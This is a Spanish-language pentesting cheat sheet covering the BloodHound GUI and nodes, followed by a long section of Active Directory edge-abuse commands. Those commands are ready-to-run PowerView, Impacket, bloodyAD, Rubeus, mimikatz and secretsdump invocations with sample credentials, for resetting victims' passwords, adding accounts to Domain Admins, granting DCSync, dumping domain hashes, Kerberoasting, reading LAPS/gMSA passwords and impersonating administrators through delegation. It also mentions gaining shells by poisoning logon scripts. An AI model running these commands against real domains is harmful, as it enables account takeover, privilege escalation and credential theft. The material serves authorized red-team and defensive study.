Skip to content

BloodHound — Navigating the GUI ​

Área de grafos ​

Al iniciar sesión BloodHound ejecuta automáticamente la query Find all Domain Admins y muestra el resultado en el área de grafos. Aquí puedes mover nodos, hacer zoom con el scroll del mouse, y hacer clic en cualquier nodo para ver su información en el panel lateral.


Set as Starting Node      → establece este nodo como origen en pathfinding
Set as Ending Node        → establece este nodo como destino en pathfinding
Shortest Paths to Here    → encuentra todos los caminos más cortos hasta este nodo desde cualquier nodo
Shortest Paths to Here from Owned → rutas de ataque desde nodos marcados como owned
Edit Node                 → editar propiedades del nodo o agregar propiedades personalizadas
Mark as Owned             → marcar el nodo como comprometido (útil con queries de owned)
Mark as High Value        → marcar como objetivo de alto valor
Delete Node               → eliminar el nodo de la base de datos

Marcar nodos como Owned es importante porque habilita queries como Shortest paths to here from Owned que muestran exactamente qué rutas tienes disponibles con los accesos actuales.


# Buscar por nombre
peter

# Buscar por tipo de nodo
user:peter
group:domain
computer:ws01

Tipos de nodo disponibles para AD: Group, Domain, Computer, User, OU, GPO, Container

Para Azure: AZApp, AZRole, AZDevice, AZGroup, AZKeyVault, AZManagementGroup, AZResourceGroup, AZServicePrincipal, AZSubscription, AZTenant, AZUser, AZVM


Pathfinding ​

Buscar ruta de ataque entre dos nodos:

  1. Buscar el nodo origen → clic derecho → Set as Starting Node
  2. Buscar el nodo destino → clic derecho → Set as Ending Node
  3. O usar el botón de pathfinding en la barra de búsqueda

Si la ruta usa un edge que quieres evitar (ejemplo: no quieres cambiar contraseñas con ForceChangePassword), usa el filtro de edges para excluirlo y BloodHound buscará un camino alternativo.


Refresh             → re-ejecuta la query anterior
Export Graph        → guarda el grafo actual como JSON o PNG
Import Graph        → carga un grafo exportado en JSON
Upload Data         → sube archivos de SharpHound, BloodHound.py o AzureHound
Change Layout       → alterna entre layout jerárquico y force-directed
Settings            → ajustes de visualización y debug
About               → versión y autores

Al subir datos BloodHound agrega lo nuevo pero ignora duplicados. Los zips con contraseña deben descomprimirse antes de subir.


Settings útiles ​

Node Collapse Threshold   → colapsar nodos con una sola relación (default 5, 0 para desactivar)
Edge Label Display        → cuándo mostrar etiquetas de edges (Always Display para verlos siempre)
Node Label Display        → cuándo mostrar nombres de nodos
Query Debug Mode          → muestra las queries Cypher en el Raw Query Box (útil para aprender)
Low Detail Mode           → mejora performance en grafos grandes
Dark Mode                 → modo oscuro

Activar Query Debug Mode es muy útil para ver qué query Cypher está ejecutando cada acción del GUI y aprender a construir las propias.


Shortcuts ​

CTRL        → cicla entre los tres modos de display de etiquetas de nodos
Spacebar    → abre el spotlight con todos los nodos del grafo actual
Backspace   → vuelve al grafo anterior
S           → expande/colapsa el panel de información

Database Info ​

Desde la pestaña Database Info puedes ver estadísticas de la base de datos y administrarla:

Clear Database      → borrar todo (útil al empezar un nuevo assessment)
Clear Sessions      → borrar solo las sesiones
Refresh DB Stats    → actualizar estadísticas
Warming Up Database → cargar toda la DB en memoria para acelerar queries

BloodHound — Nodes ​

Tipos de nodos en AD ​

Users       → usuarios que pueden autenticarse y acceder a recursos
Groups      → colecciones lógicas de usuarios y computadoras con permisos asignados
Computers   → dispositivos conectados al dominio
Domains     → agrupación lógica de recursos con administración centralizada
GPOs        → políticas que controlan configuraciones de usuarios y computadoras
OUs         → contenedores para organizar y delegar administración granular
Containers  → similar a OUs pero sin control administrativo, solo organizacional

Secciones del Node Info tab (comunes a todos los nodos) ​

Overview                → información general del objeto
Node Properties         → atributos por defecto del objeto
Extra Properties        → atributos adicionales (más completo con --CollectAllProperties en SharpHound)
Group Membership        → grupos de seguridad a los que pertenece
Local Admin Rights      → hosts donde el objeto tiene admin local
Execution Rights        → RDP, DCOM, SQL Admin, PSRemote sobre otros hosts
Outbound Object Control → permisos que tiene ESTE objeto sobre OTROS objetos del dominio
Inbound Control Rights  → permisos que tienen OTROS objetos sobre ESTE objeto

Secciones específicas por tipo de nodo ​

Users ​

Outbound Object Control y Inbound Control Rights son las más importantes para identificar rutas de ataque. Un usuario con GenericAll sobre otro usuario o grupo aparecerá aquí.

Computers ​

Local Admins              → quién tiene admin local en esta computadora
Inbound Execution Rights  → quién puede ejecutar comandos en esta computadora (RDP, DCOM, WinRM)
Outbound Execution Rights → sobre qué otras computadoras puede ejecutar este equipo

Groups ​

Group Members    → usuarios, grupos y computadoras miembros del grupo
Group Membership → en qué otros grupos está este grupo (membresía anidada)

Domains ​

Foreign Members  → usuarios o grupos de otro dominio con membresía en este dominio
Inbound Trusts   → dominios que confían en este dominio
Outbound Trusts  → dominios en los que este dominio confía

En la sección Overview del dominio hay una opción Map OU Structure que muestra la estructura jerárquica completa del dominio de un vistazo.

OUs y Containers ​

Affecting GPOs      → GPOs que se aplican a esta OU o container
Descendant Objects  → todos los objetos dentro de esta OU (usuarios, grupos, computadoras)

GPOs ​

Affected Objects    → usuarios, grupos y computadoras afectados por esta GPO
Inbound Control Rights → quién tiene permisos de escritura sobre esta GPO

Casos prácticos desde el GUI ​

Ver en qué computadoras un usuario es admin local ​

Buscar el usuario → Node Info → Local Admin Rights

Ver quién tiene admin local en una computadora específica ​

Buscar la computadora → Node Info → Local Admins

Ver quién puede conectarse por RDP a un host ​

Buscar la computadora → Node Info → Inbound Execution Rights → Remote Desktop Users

Ver qué GPOs afectan a una OU ​

Buscar la OU → Node Info → Affecting GPOs

Ver qué objetos afecta una GPO ​

Buscar la GPO → Node Info → Affected Objects

Ver qué OU contiene una computadora o usuario ​

Buscar el objeto → Node Info → Node Properties → distinguishedname El DN se lee de izquierda a derecha: el objeto primero, luego las OUs de más específica a más general.

Ver miembros foráneos de un dominio ​

Buscar el dominio → Node Info → Foreign Members

BloodHound - Edges & Abuse ​

Links: AdminTo | MemberOf | HasSession | ForceChangePassword | AddMembers | AddSelf | CanRDP | CanPSRemote | ExecuteDCOM | SQLAdmin | AllowedToDelegate | DCSync | GenericAll | GenericWrite | WriteOwner | WriteSPN | Owns | AddKeyCredentialLink | ReadLAPSPassword | ReadGMSAPassword | AllExtendedRights | AllowedToAct


Lista completa de edges en AD ​

  • AdminTo
  • MemberOf
  • HasSession
  • ForceChangePassword
  • AddMembers
  • AddSelf
  • CanRDP
  • CanPSRemote
  • ExecuteDCOM
  • SQLAdmin
  • AllowedToDelegate
  • DCSync
  • GetChanges
  • GetChangesAll
  • GenericAll
  • GenericWrite
  • WriteOwner
  • WriteSPN
  • Owns
  • AddKeyCredentialLink
  • ReadLAPSPassword
  • ReadGMSAPassword
  • Contains
  • AllExtendedRights
  • GPLink
  • AllowedToAct
  • AddAllowedToAct
  • WriteAccountRestrictions

Para ver cómo abusar cualquier edge desde el propio GUI: clic derecho sobre el edge en el grafo → Help → pestaña Abuse Info. También existe la pestaña Opsec Considerations para evaluar qué tan ruidoso es el ataque antes de ejecutarlo.


Nota general: con credenciales conocidas vs. shell ya obtenida ​

Casi todos los edges de abuso admiten dos escenarios distintos, y la mayoría de las secciones de este documento incluyen ambos:

  • Con credenciales conocidas — se conoce la contraseña (o hash) del atacante y se ataca remotamente desde otra máquina (Windows con -Credential, o Linux con usuario:password en Impacket/net/bloodyAD). Es el escenario típico cuando se crackeó una contraseña o se filtró en algún archivo.
  • Shell ya obtenida (sin credenciales conocidas) — ya se tiene una sesión interactiva como el atacante (reverse shell, RDP, tarea programada comprometida, logon script envenenado, etc.), sin haber llegado a conocer su contraseña en texto plano. En este caso, ejecutar los mismos cmdlets sin -Credential funciona igual, porque el token de la sesión de Windows autentica automáticamente todas las peticiones LDAP salientes.

Este segundo escenario es extremadamente común en la práctica: muchos vectores de compromiso inicial (phishing, explotación de un servicio, poisoning de un script) entregan una shell directamente, sin pasar nunca por conocer la contraseña real de la cuenta comprometida.


Cómo usar pathfinding para encontrar rutas de ataque ​

  1. Buscar el nodo origen en la barra de búsqueda
  2. Clic derecho → Set as Starting Node
  3. Buscar el nodo destino
  4. Clic derecho → Set as Ending Node
  5. BloodHound muestra el camino más corto

Si una ruta usa un edge que se quiere evitar, usar el filtro para excluirlo y BloodHound busca una ruta alternativa.


Abuso de edges — Comandos ​

ForceChangePassword ​

El usuario atacante tiene el derecho de resetear la contraseña de la víctima sin conocer la contraseña actual. Útil para tomar control de una cuenta y luego usarla para moverse lateralmente.

powershell
$SecPassword = ConvertTo-SecureString '<password_atacante>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', $SecPassword)
$UserPassword = ConvertTo-SecureString '<nueva_password>' -AsPlainText -Force
Set-DomainUserPassword -Identity <objetivo> -AccountPassword $UserPassword -Credential $Cred -Verbose

# Alternativa nativa (más ruidoso)
net user <objetivo> <nueva_password> /domain

# Ejemplo
$SecPassword = ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Summer2024!' -AsPlainText -Force
Set-DomainUserPassword -Identity test -AccountPassword $UserPassword -Credential $Cred -Verbose

Variante sin credenciales conocidas (ya con shell como el atacante) ​

Si ya se tiene una sesión interactiva como el atacante (reverse shell, RDP, tarea programada comprometida, etc.) sin conocer su contraseña, no hace falta construir el objeto -Credential: el token de la sesión actual autentica automáticamente.

powershell
$UserPassword = ConvertTo-SecureString '<nueva_password>' -AsPlainText -Force
Set-DomainUserPassword -Identity <objetivo> -AccountPassword $UserPassword

# Ejemplo
$UserPassword = ConvertTo-SecureString 'Summer2024!' -AsPlainText -Force
Set-DomainUserPassword -Identity test -AccountPassword $UserPassword

CanRDP ​

El usuario tiene permisos para conectarse al host vía Remote Desktop. Permite obtener una sesión gráfica interactiva, lo que genera un TGT completo en memoria y habilita herramientas que fallan desde WinRM (por el problema del Double Hop).

bash
xfreerdp /v:<IP> /u:<usuario> /p:<password>

# Ejemplo
xfreerdp /v:10.10.10.129 /u:seven /p:PasswordAD01

CanPSRemote ​

El usuario puede conectarse al host vía WinRM (puerto 5985/5986). Permite ejecutar comandos remotamente, aunque con las limitaciones del Double Hop que no genera TGT.

bash
evil-winrm -i <IP> -u <usuario> -p <password>

# Ejemplo
evil-winrm -i 10.10.10.129 -u seven -p PasswordAD01
powershell
# Desde Windows
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<usuario>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Enter-PSSession -ComputerName <host> -Credential $Cred

# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Enter-PSSession -ComputerName SRV01 -Credential $Cred

AdminTo ​

El usuario es administrador local en ese host. Permite ejecutar comandos como admin, dumpear credenciales con Mimikatz, leer la SAM, y moverse lateralmente desde ese host.

bash
psexec.py DOMAIN/<usuario>:<password>@<IP>
wmiexec.py DOMAIN/<usuario>:<password>@<IP>
evil-winrm -i <IP> -u <usuario> -p <password>

# Ejemplo
psexec.py DOMAIN/seven:PasswordAD01@10.10.10.129

AddMembers ​

El usuario tiene permisos para agregar otros usuarios al grupo objetivo. Permite agregarse a sí mismo o a cualquier otra cuenta comprometida y heredar todos sus privilegios.

powershell
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Add-DomainGroupMember -Identity '<grupo>' -Members '<usuario_a_agregar>' -Credential $Cred -Verbose
Get-DomainGroupMember -Identity '<grupo>'

# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Add-DomainGroupMember -Identity 'ITManagers' -Members 'test' -Credential $Cred -Verbose

Variante sin credenciales conocidas (ya con shell como el atacante) ​

powershell
Add-DomainGroupMember -Identity '<grupo>' -Members '<usuario_a_agregar>' -Verbose

# Ejemplo
Add-DomainGroupMember -Identity 'ITManagers' -Members 'test' -Verbose

AddSelf ​

Similar a AddMembers pero el usuario solo puede agregarse a sí mismo al grupo, no a otros usuarios. Permite heredar los privilegios del grupo con solo una cuenta comprometida.

powershell
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Add-DomainGroupMember -Identity '<grupo>' -Members '<atacante>' -Credential $Cred -Verbose

# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Add-DomainGroupMember -Identity 'ITManagers' -Members 'seven' -Credential $Cred -Verbose

Variante sin credenciales conocidas (ya con shell como el atacante) ​

powershell
Add-DomainGroupMember -Identity '<grupo>' -Members '<atacante>' -Verbose

# Ejemplo
Add-DomainGroupMember -Identity 'ITManagers' -Members 'seven' -Verbose

GenericAll sobre usuario ​

Es el derecho más amplio posible sobre un objeto. El atacante tiene control total sobre la cuenta víctima: puede cambiar su contraseña, asignarle un SPN para Kerberoasting, quitarle la pre-autenticación para ASREPRoasting, o modificar cualquier atributo.

powershell
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))

# Opción 1 - Cambiar contraseña (destructivo)
$NewPass = ConvertTo-SecureString '<nueva_password>' -AsPlainText -Force
Set-DomainUserPassword -Identity <objetivo> -AccountPassword $NewPass -Credential $Cred -Verbose

# Opción 2 - SPN falso para Kerberoasting (menos destructivo)
Set-DomainObject -Credential $Cred -Identity <objetivo> -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:<objetivo> /nowrap
# Cleanup
Set-DomainObject -Credential $Cred -Identity <objetivo> -Clear serviceprincipalname -Verbose

# Opción 3 - Deshabilitar pre-auth para ASREPRoasting (menos destructivo)
Set-DomainObject -Credential $Cred -Identity <objetivo> -XOR @{useraccountcontrol=4194304} -Verbose
.\Rubeus.exe asreproast /user:<objetivo> /nowrap

# Ejemplo (Opción 2)
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Set-DomainObject -Credential $Cred -Identity test -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:test /nowrap
Set-DomainObject -Credential $Cred -Identity test -Clear serviceprincipalname -Verbose

Variante sin credenciales conocidas (ya con shell como el atacante) ​

Este es exactamente el caso real cuando se obtiene una shell mediante un vector como un logon script poisoning, sin necesitar la contraseña del atacante para actuar remotamente — el token de la sesión actual autentica automáticamente todas las peticiones LDAP:

powershell
# Opción 1 - Cambiar contraseña (destructivo)
$NewPass = ConvertTo-SecureString '<nueva_password>' -AsPlainText -Force
Set-DomainUserPassword -Identity <objetivo> -AccountPassword $NewPass

# Opción 2 - SPN falso para Kerberoasting (menos destructivo)
Set-DomainObject -Identity <objetivo> -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:<objetivo> /nowrap
Set-DomainObject -Identity <objetivo> -Clear serviceprincipalname -Verbose

# Ejemplo (Opción 1) — igual al caso donde no se conocen las credenciales de la cuenta atacante
$NewPass = ConvertTo-SecureString 'Summer2024!' -AsPlainText -Force
Set-DomainUserPassword -Identity test -AccountPassword $NewPass

GenericAll sobre grupo ​

Control total sobre el grupo. Permite agregar cualquier usuario y heredar sus privilegios.

powershell
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Add-DomainGroupMember -Identity '<grupo>' -Members '<usuario_a_agregar>' -Credential $Cred -Verbose

# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Add-DomainGroupMember -Identity 'ITAdmins' -Members 'test' -Credential $Cred -Verbose

Variante sin credenciales conocidas (ya con shell como el atacante) ​

powershell
Add-DomainGroupMember -Identity '<grupo>' -Members '<usuario_a_agregar>' -Verbose

# Ejemplo
Add-DomainGroupMember -Identity 'ITAdmins' -Members 'test' -Verbose

GenericWrite ​

El atacante puede modificar atributos no protegidos del objeto víctima, pero no tiene control total. El abuso más común es asignar un SPN falso para Kerberoasting dirigido.

powershell
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))

Set-DomainObject -Credential $Cred -Identity <objetivo> -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:<objetivo> /nowrap
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

# Cleanup
Set-DomainObject -Credential $Cred -Identity <objetivo> -Clear serviceprincipalname -Verbose

# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Set-DomainObject -Credential $Cred -Identity test -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:test /nowrap

Variante sin credenciales conocidas (ya con shell como el atacante) ​

powershell
Set-DomainObject -Identity <objetivo> -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:<objetivo> /nowrap
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
Set-DomainObject -Identity <objetivo> -Clear serviceprincipalname -Verbose

# Ejemplo
Set-DomainObject -Identity test -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:test /nowrap

WriteDACL ​

El atacante puede modificar la ACL del objeto víctima, otorgándose a sí mismo o a otra cuenta cualquier derecho, incluyendo GenericAll o DCSync sobre el dominio.

powershell
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))

# Otorgarse GenericAll sobre un usuario
Add-DomainObjectAcl -Credential $Cred -TargetIdentity <objetivo> -PrincipalIdentity <atacante> -Rights All -Verbose

# Otorgarse DCSync sobre el dominio
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=DOMAIN,DC=local" -PrincipalIdentity <atacante> -Rights DCSync -Verbose

# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Add-DomainObjectAcl -Credential $Cred -TargetIdentity test -PrincipalIdentity seven -Rights All -Verbose

Variante sin credenciales conocidas (ya con shell como el atacante) ​

powershell
# Otorgarse GenericAll sobre un usuario
Add-DomainObjectAcl -TargetIdentity <objetivo> -PrincipalIdentity <atacante> -Rights All -Verbose

# Otorgarse DCSync sobre el dominio
Add-DomainObjectAcl -TargetIdentity "DC=DOMAIN,DC=local" -PrincipalIdentity <atacante> -Rights DCSync -Verbose

# Ejemplo
Add-DomainObjectAcl -TargetIdentity test -PrincipalIdentity seven -Rights All -Verbose

WriteOwner ​

El atacante puede cambiar el propietario del objeto víctima. El propietario tiene control implícito sobre él. Flujo: tomar propiedad → otorgarse GenericAll → abusar el objeto.

powershell
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))

# Paso 1 - Tomar propiedad del objeto
Set-DomainObjectOwner -Credential $Cred -Identity <objetivo> -OwnerIdentity <atacante> -Verbose

# Paso 2 - Otorgarse GenericAll
Add-DomainObjectAcl -Credential $Cred -TargetIdentity <objetivo> -PrincipalIdentity <atacante> -Rights All -Verbose

# Paso 3 - Abusar el GenericAll (ejemplo: cambiar contraseña)
$NewPass = ConvertTo-SecureString '<nueva_password>' -AsPlainText -Force
Set-DomainUserPassword -Identity <objetivo> -AccountPassword $NewPass -Credential $Cred -Verbose

# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Set-DomainObjectOwner -Credential $Cred -Identity test -OwnerIdentity seven -Verbose
Add-DomainObjectAcl -Credential $Cred -TargetIdentity test -PrincipalIdentity seven -Rights All -Verbose

Variante sin credenciales conocidas (ya con shell como el atacante) ​

Este es un caso muy común en la práctica: se compromete una cuenta mediante un vector que entrega una shell interactiva (por ejemplo, envenenando un logon script en SYSVOL para obtener una reverse shell), sin llegar a conocer nunca la contraseña de esa cuenta en texto plano. Como la shell ya corre con el token de esa cuenta, no hace falta -Credential en ningún paso — PowerView usa automáticamente la sesión actual para autenticar contra LDAP.

powershell
# Ya en una shell PowerShell como el atacante (reverse shell, tarea programada, etc.)
Import-Module .\PowerView.ps1

# Paso 1 - Otorgarse todos los derechos sobre el objetivo, sin pasar -Credential
Add-DomainObjectAcl -Rights all -TargetIdentity <objetivo> -PrincipalIdentity <atacante>

# Paso 2 - Resetear la contraseña del objetivo con el control recién obtenido
$cred = ConvertTo-SecureString '<nueva_password>' -AsPlainText -Force
Set-DomainUserPassword <objetivo> -AccountPassword $cred

# Ejemplo (caso: cuenta objetivo user_ADM, atacante sin credenciales conocidas)
Add-DomainObjectAcl -Rights all -TargetIdentity user_ADM -PrincipalIdentity <atacante>
$cred = ConvertTo-SecureString 'Summer2024!' -AsPlainText -Force
Set-DomainUserPassword user_ADM -AccountPassword $cred

Validar las credenciales resultantes:

bash
netexec smb <IP_DC> -u user_ADM -p 'Summer2024!'

Nota: Este flujo funciona incluso cuando el objetivo (user_ADM en el ejemplo) es una cuenta de servicio con privilegios adicionales (por ejemplo, administración de GPOs), lo cual puede escalar aún más el impacto — desde resetear su contraseña, hasta modificar una GPO que aplica a un grupo privilegiado como Administrators.

Equivalente completo desde Linux (con credenciales conocidas) ​

Cuando sí se conocen las credenciales del atacante y se está atacando remotamente desde Linux, el flujo completo usa owneredit.py + dacledit.py:

bash
# Paso 1 - Tomar ownership del objetivo
impacket-owneredit -action write -new-owner '<atacante>' -target-dn 'CN=<objetivo>,CN=Users,DC=domain,DC=local' 'domain.local'/'<atacante>':'<password>' -dc-ip <IP_DC>

# Paso 2 - Otorgarse FullControl
impacket-dacledit -action 'write' -rights 'FullControl' -principal '<atacante>' -target-dn 'CN=<objetivo>,CN=Users,DC=domain,DC=local' 'domain.local'/'<atacante>':'<password>' -dc-ip <IP_DC>

# Paso 3 - Abusar el control (ejemplo: cambiar contraseña con net rpc)
net rpc password <objetivo> '<nueva_password>' -U domain.local/<atacante>%'<password>' -S <IP_DC>

# Ejemplo
impacket-owneredit -action write -new-owner 'seven' -target-dn 'CN=test,CN=Users,DC=domain,DC=local' 'domain.local'/'seven':'PasswordAD01' -dc-ip 10.10.10.129
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'seven' -target-dn 'CN=test,CN=Users,DC=domain,DC=local' 'domain.local'/'seven':'PasswordAD01' -dc-ip 10.10.10.129
net rpc password test 'Summer2024!' -U domain.local/seven%'PasswordAD01' -S 10.10.10.129

Alternativa con bloodyAD (Linux) ​

bloodyAD combina en un solo comando lo que owneredit.py/dacledit.py hacen por separado, para operaciones simples como agregar miembros o cambiar contraseñas:

bash
# Agregar el atacante a un grupo (ej: tras WriteOwner sobre un grupo)
bloodyAD --host "<IP_DC>" -d "domain.local" -u "<atacante>" -p '<password>' add groupMember "<grupo>" "<atacante>"

# Cambiar contraseña de un usuario objetivo
bloodyAD --host "<IP_DC>" -d "domain.local" -u "<atacante>" -p '<password>' set password "<objetivo>" "<nueva_password>"

# Ejemplo
bloodyAD --host "10.10.10.129" -d "domain.local" -u "seven" -p "PasswordAD01" add groupMember "Domain Admins" "seven"
bloodyAD --host "10.10.10.129" -d "domain.local" -u "seven" -p "PasswordAD01" set password "test" "Summer2024!"

WriteOwner sobre un grupo (agregar miembros tras tomar control) ​

Cuando el objetivo del WriteOwner es un grupo (por ejemplo, Domain Admins) en vez de un usuario, el abuso final cambia de "cambiar contraseña" a "agregarse como miembro":

powershell
# Con credenciales conocidas
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Set-DomainObjectOwner -Identity '<grupo>' -OwnerIdentity '<atacante>' -Credential $Cred
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "<grupo>" -PrincipalIdentity "<atacante>" -Credential $Cred

# Sin credenciales conocidas (shell ya obtenida)
Set-DomainObjectOwner -Identity '<grupo>' -OwnerIdentity '<atacante>'
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "<grupo>" -PrincipalIdentity "<atacante>"

# Ejemplo (sin credenciales)
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'seven'
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "Domain Admins" -PrincipalIdentity "seven"

Agregarse al grupo con el nuevo control (nativo, sin PowerView):

cmd
net group "<grupo>" <atacante> /add /domain

:: Ejemplo
net group "Domain Admins" seven /add /domain

Equivalente desde Linux con net rpc o bloodyAD:

bash
net rpc group addmem "<grupo>" <atacante> -U domain.local/<atacante>%'<password>' -S <IP_DC>
bloodyAD --host "<IP_DC>" -d "domain.local" -u "<atacante>" -p '<password>' add groupMember "<grupo>" "<atacante>"

# Ejemplo
net rpc group addmem "Domain Admins" seven -U domain.local/seven%'PasswordAD01' -S 10.10.10.129

DCSync ​

El usuario tiene los derechos de replicación sobre el dominio (DS-Replication-Get-Changes y DS-Replication-Get-Changes-All). Permite simular ser un Domain Controller y solicitar al DC que replique los hashes de cualquier cuenta, incluyendo Administrator y KRBTGT.

bash
secretsdump.py DOMAIN/<atacante>:<password>@<IP_DC>

# Solo el Administrator
secretsdump.py -just-dc-user DOMAIN/administrator DOMAIN/<atacante>:<password>@<IP_DC>

# Ejemplo
secretsdump.py DOMAIN/seven:PasswordAD01@10.10.10.129
cmd
mimikatz # lsadump::dcsync /user:DOMAIN\administrator /domain:domain.local

ReadLAPSPassword ​

LAPS genera contraseñas aleatorias para el administrador local de cada host y las guarda en el atributo ms-mcs-admpwd del objeto computer. Este edge indica que el usuario puede leer ese atributo.

powershell
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Get-DomainComputer <computadora> -Credential $Cred -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Get-DomainComputer LAPS01 -Credential $Cred -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

Variante sin credenciales conocidas (ya con shell como el atacante) ​

powershell
Get-DomainComputer <computadora> -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

# Ejemplo
Get-DomainComputer LAPS01 -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

ReadGMSAPassword ​

Las gMSA tienen contraseñas gestionadas automáticamente por AD. Este edge indica que el usuario puede leer esa contraseña del atributo msds-ManagedPassword.

powershell
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Get-DomainObject <gmsa> -Credential $Cred -Properties msds-ManagedPassword

# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Get-DomainObject svc_devadm -Credential $Cred -Properties msds-ManagedPassword

Variante sin credenciales conocidas (ya con shell como el atacante) ​

powershell
Get-DomainObject <gmsa> -Properties msds-ManagedPassword

# Ejemplo
Get-DomainObject svc_devadm -Properties msds-ManagedPassword

El atacante puede modificar el atributo msDS-KeyCredentialLink del objeto víctima. Permite agregar una clave de certificado y usarla para obtener un TGT de la víctima sin conocer su contraseña. Es un ataque sigiloso porque no modifica la contraseña ni atributos obvios.

bash
# Agregar credencial al objeto víctima (PyWhisker)
python3 pywhisker.py -d domain.local -u <atacante> -p '<password>' --target <objetivo> --action add

# Usar el certificado generado para pedir TGT del objetivo
python3 gettgtpkinit.py domain.local/<objetivo> -pfx-base64 <base64> <objetivo>.ccache
export KRB5CCNAME=<objetivo>.ccache

# Con el TGT del objetivo, hacer DCSync u otra acción
secretsdump.py -k -no-pass domain.local/<objetivo>@<IP_DC>

# Ejemplo
python3 pywhisker.py -d domain.local -u seven -p 'PasswordAD01' --target test --action add

AllowedToDelegate — Constrained Delegation ​

La cuenta tiene permisos para impersonar a cualquier usuario al autenticarse a un servicio específico. Permite pedir tickets en nombre del Administrator u otro usuario privilegiado.

powershell
# Pedir TGT para la cuenta con delegación
.\Rubeus.exe asktgt /user:<cuenta_con_delegacion> /password:<password> /domain:domain.local /ptt

# S4U2Self + S4U2Proxy para impersonar al Administrator
.\Rubeus.exe s4u /impersonateuser:administrator /msdsspn:cifs/<host> /ptt

# Acceder al servicio como Administrator
ls \\<host>\c$

# Ejemplo
.\Rubeus.exe asktgt /user:test /password:PasswordAD01 /domain:domain.local /ptt
.\Rubeus.exe s4u /impersonateuser:administrator /msdsspn:cifs/SRV01 /ptt

AllExtendedRights ​

El usuario tiene todos los derechos extendidos sobre el objeto. Dependiendo del tipo de objeto, permite cambiar contraseñas, leer atributos protegidos (LAPS, gMSA), o ejecutar DCSync. Equivale funcionalmente a tener GenericAll en la práctica.


BloodHound — Analyzing BloodHound Data ​

Flujo de análisis recomendado ​

1. Empezar con el dominio ​

Buscar: domain:DOMAIN.local

Muestra el resumen del dominio: cantidad de usuarios, grupos, computadoras, OUs, GPOs y el nivel funcional. El nivel funcional da una idea de la antigüedad del entorno y posibles vulnerabilidades legacy.

2. Revisar el grupo Domain Users ​

Todo usuario del dominio hereda los derechos de Domain Users. Si este grupo tiene algún permiso interesante, todos los usuarios lo tienen.

Buscar: group:Domain Users
→ Outbound Object Control → Transitive Object Control

Muestra todos los objetos sobre los que Domain Users tiene control, incluyendo rutas encadenadas.

